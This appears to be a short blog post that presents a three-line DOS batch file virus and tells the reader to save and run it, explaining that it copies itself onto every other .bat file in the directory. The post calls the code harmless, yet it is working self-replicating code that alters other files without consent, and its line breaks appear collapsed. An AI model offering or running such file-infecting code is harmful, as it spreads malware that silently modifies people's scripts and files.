Stupid Simple Computer Virus in 3 Lines of Code
Yes, it’s pretty useless and completely harmless. A DOS batch file virus in 3 simple lines. Useless… but totally meets or surpasses computer virus specifications:
@echo off find "**cranky**" *.bat for %%p in (*.bat) do copy %%p + %0
Save it as a .bat file.
No really. If you run this on windows/DOS in a directory full of .bat files, this will replicate itself and infect all the other .bat files. Too easy? Use “copy con blah.bat” to create the file so you can feel a bit more accomplished.